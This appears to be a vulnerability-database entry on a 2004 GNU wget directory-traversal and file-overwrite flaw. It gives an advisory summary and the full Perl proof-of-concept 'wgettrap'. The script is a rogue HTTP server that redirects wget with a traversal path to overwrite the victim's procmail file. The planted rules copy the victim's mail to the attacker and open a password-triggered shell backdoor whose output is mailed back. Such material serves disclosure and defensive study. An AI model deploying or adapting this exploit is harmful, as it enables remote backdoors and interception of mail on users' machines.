Remote vulnerabilities in GNU wget

vendor:

wget

by:

Jan Min????

7.5

CVSS

HIGH

Multiple remote vulnerabilities

CWE

Product Name: wget

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2004

Remote vulnerabilities in GNU wget

The vulnerabilities in GNU wget allow attackers to perform directory traversal, arbitrary file overwriting, and execute malicious code by not properly sanitizing user-supplied input and validating file presence before writing to them. An attacker can exploit these issues to overwrite files within the current directory and potentially outside of it, leading to file corruption, denial of service, and further attacks against the affected computer. The vulnerabilities can be exploited by a malicious server.

Mitigation:

Update to the latest version of GNU wget. Avoid downloading files from untrusted sources.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11871/info

Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include:

- a potential directory-traversal issue
- an arbitrary file-overwriting vulnerability
- a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input. 

Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application.


--
 )^o-o^|    jabber: rdancer@NJS.NetLab.Cz
 | .v  K    e-mail: jjminar FastMail FM
 `  - .'     phone: +44(0)7981 738 696
  \ __/Jan     icq: 345 355 493
 __|o|__Min??  irc: rdancer@IRC.FreeNode.Net

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";

# Wanna know who got infected?
#$log = "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";

############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
        print LOG $_ if $log;
        if (/\Q$trick$filename\E/) {
        #if (/%2f/) {
                # We see the filename, so this is the second time
                # they're here.  Time to feed the sploit.
                $second++;
        } elsif (/^Range: bytes=\(33\)-/) {
                # Appending goes like this:
                # (1) Tell'em what you're gonna tell'em
                # (2) Then tell'em just a half
                # (3) Close it
                # (4) Wait
                # (5) They're comin' back, with wget -c
                # (6) Tell'em the sploit
                # (7) Close again
                # (8) Wtf? They're comin' back with wget -c again
                # (9) Tell'em the rest...
                # (10) ... enjoying the backdoor at the same time
                print LOG "File if $1 bytes long\n" if $log;
        } elsif (/^\r?$/) {
                # The HTTP headers are over.  Let's do it!
                $date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
                if (!$second) {
                        # Print the payload
                        print <<EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
<html><head><title></title></head></html>\r
EOT
                } else {
                        # Print the redirection
                        print <<EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
                }
                exit 0;
        }
}